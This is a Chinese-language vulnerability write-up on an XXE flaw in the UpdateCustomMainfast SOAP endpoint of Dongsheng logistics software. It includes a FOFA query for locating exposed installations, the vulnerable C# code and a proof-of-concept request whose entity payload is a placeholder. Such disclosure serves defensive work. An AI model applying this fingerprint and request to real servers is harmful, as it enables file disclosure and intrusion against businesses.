漏洞简介
东胜物流软件是一款广泛应用于物流行业的信息管理系统,主要用于货物运输、仓储管理以及供应链协同等场景,帮助企业实现物流业务的高效运作。该软件的 UpdateCustomMainfast 接口存在 XML 外部实体注入(XXE)漏洞,攻击者可以通过构造恶意的 XML 输入数据,触发该接口解析外部实体,从而读取服务器上的敏感文件或发起内部网络请求。成功利用该漏洞可能导致敏感信息泄露、系统配置暴露,甚至在特定环境下实现进一步的权限提升或系统控制,严重威胁企业数据安全和业务连续性。
影响版本
fofa语法
body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" || body="dongshengsoft" || body="theme/dhtmlxcombo.css"
漏洞分析
直接看 UpdateCustomMainfast 的实现逻辑
public string UpdateCustomMainfast(
string Xdoc,
string XdocAfter,
string Corpid,
string SenderOp,
string SenderHandphone,
string SenderEmail,
string SenderFax,
string Mblno)
{
try
{
bool AfterDoc = false;
string filename = Mblno;
string str1 = filename + "_";
string str2 = $"d:\\Manifest\\Sendmain\\{filename}.xml";
string str3 = $"d:\\Manifest\\Sendmain\\{filename}.zip";
string str4 = $"d:\\Manifest\\Sendafter\\{str1}.xml";
string str5 = $"d:\\Manifest\\Sendafter\\{str1}.zip";
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(Xdoc);
参数 Xdoc 无任何过滤或校验,直接使用 XmlDocument 进行解析,造成XXE漏洞,朴实无华。
漏洞复现
POST /Webservice/DsWebService.asmx HTTP/1.1
Host: dongsheng.mrxn.net
Content-Type: application/soap+xml;charset=UTF-8;action="DsWebService/UpdateCustomMainfast"
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:dsw="DsWebService">
<soap:Header/>
<soap:Body>
<dsw:UpdateCustomMainfast>
<!--Optional:-->
<dsw:Xdoc>XXEPOC</dsw:Xdoc>
<!--Optional:-->
<dsw:XdocAfter>1</dsw:XdocAfter>
<!--Optional:-->
<dsw:Corpid>1</dsw:Corpid>
<!--Optional:-->
<dsw:SenderOp>1</dsw:SenderOp>
<!--Optional:-->
<dsw:SenderHandphone>1</dsw:SenderHandphone>
<!--Optional:-->
<dsw:SenderEmail>1</dsw:SenderEmail>
<!--Optional:-->
<dsw:SenderFax>1</dsw:SenderFax>
<!--Optional:-->
<dsw:Mblno>1</dsw:Mblno>
</dsw:UpdateCustomMainfast>
</soap:Body>
</soap:Envelope>

成功在DNSLOG平台收到DNS和HTTP请求。

